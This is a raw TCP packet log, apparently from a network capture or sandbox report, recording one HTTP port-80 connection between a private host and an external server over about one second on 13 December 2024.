Dec 13, 2024 08:18:55.467035055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467047930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467140913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.467174053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467194080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467231035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467238903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.467336893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.467410088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.468482971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.468638897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.468720913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.469918013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.469932079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.470031023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.470962048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.470973969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.471071959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.471470118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.471482992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.471574068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.472028971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.472147942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.472220898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.473207951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.473243952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.473311901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.474392891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.474473953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.474549055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.475579977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.475672960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.475748062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.476793051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.476861000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.476949930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.477957010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.478053093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.478143930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.479275942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.479290962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.479377031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.480396032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.480494976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.480611086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.481602907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.481720924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.481797934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.482754946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.482841015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.482914925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.483967066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.484069109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.484144926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.485169888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.485280991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.485353947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.486355066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.486438036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.486540079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.487627983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.487744093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.487818003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.488737106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.489325047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.489377975 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.489408970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.490513086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.490564108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.490565062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.491719007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.491791010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.491867065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.492942095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.492991924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.493043900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.494115114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.494183064 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.494236946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.495321035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.495398045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.495409012 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.496520042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.496675968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.496717930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.497699022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.497761011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.497822046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.498892069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.498949051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.499036074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.500145912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.500190020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.500199080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.501286983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.501343966 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.501374006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.502578974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.502593994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.502635002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.503773928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.503823042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.503835917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.504968882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.505022049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.505182028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.506103992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.506141901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.506151915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.507250071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.507306099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.507335901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.508445978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.508511066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.508546114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.509624004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.509680986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.509721994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.510876894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.510937929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.511069059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.512025118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.512057066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.512145996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.513225079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.513278008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.513314009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.514391899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.514442921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.514503956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.515625000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.515702009 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.515753031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.516932011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.516987085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.517222881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.517996073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.518047094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.518085003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.519170046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.519227028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.519262075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.558876038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.580560923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.580575943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.580763102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.215703011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.215893030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.215945005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.215955973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.216073036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.216115952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.216658115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.216680050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.216721058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.217669964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.217730999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.217772007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.218921900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.218935966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.218993902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.220287085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.220345974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.220443010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.221127033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.221194029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.221236944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.222297907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.222419024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.222460985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.223500013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.223625898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.223663092 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.224714994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.224824905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.224917889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.225868940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.225980997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.226062059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.227101088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.227194071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.227250099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.228285074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.228396893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.228636980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.229465008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.229577065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.230736017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.230746984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.230814934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.231877089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.231982946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.232023001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.233248949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.233261108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.233341932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.234225988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.234338045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.234417915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.235424042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.235526085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.235569954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.236629963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.236743927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.236784935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.237890005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.237900972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.237978935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.239015102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.239067078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.239140034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.240355015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.240371943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.240416050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.241413116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.241523981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.241565943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.242609024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.242729902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.243789911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.243871927 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.243942976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.244997978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.245045900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.245100021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.245138884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.246181965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.246315002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.246356010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.247365952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.247472048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.247554064 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.248660088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.248672009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.248711109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.249778032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.249881983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.249929905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.251156092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.251168013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.251247883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.252152920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.252268076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.252351046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.253362894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.253473043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.253515959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.254508972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.254648924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.254693031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.255831957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.255844116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.255927086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.256925106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.257021904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.257097006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.258183956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.258223057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.258275032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.259370089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.259658098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.260534048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.260632992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.260648966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.261694908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.261784077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.261825085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.261869907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.262921095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.262990952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.263036013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.264081001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.264200926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.264256954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.265283108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.265391111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.265486956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.266557932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.266724110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.266767979 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.267668962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.267779112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.267816067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.268887043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.268934011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.268978119 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.270065069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.270204067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.271289110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.271300077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.271363974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.271411896 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.272468090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.272558928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.272593975 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.273817062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.273828983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.273874044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.274856091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.274940014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.276048899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.276103020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.276134014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.276153088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.277219057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.277333021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.277369976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.278426886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.278520107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.278565884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.279612064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.279669046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.279757023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.280826092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.280889988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.280931950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.282102108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.282114983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.282152891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.283185005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.283297062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.283381939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.284379005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.284614086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.284710884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.285672903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.285775900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.285813093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.286766052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.286885977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.286916971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.287998915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.288126945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.288202047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.289262056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.289273977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.289309025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.290360928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.290477991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.290514946 CET	49726	80	192.168.2.11	185.81.68.147
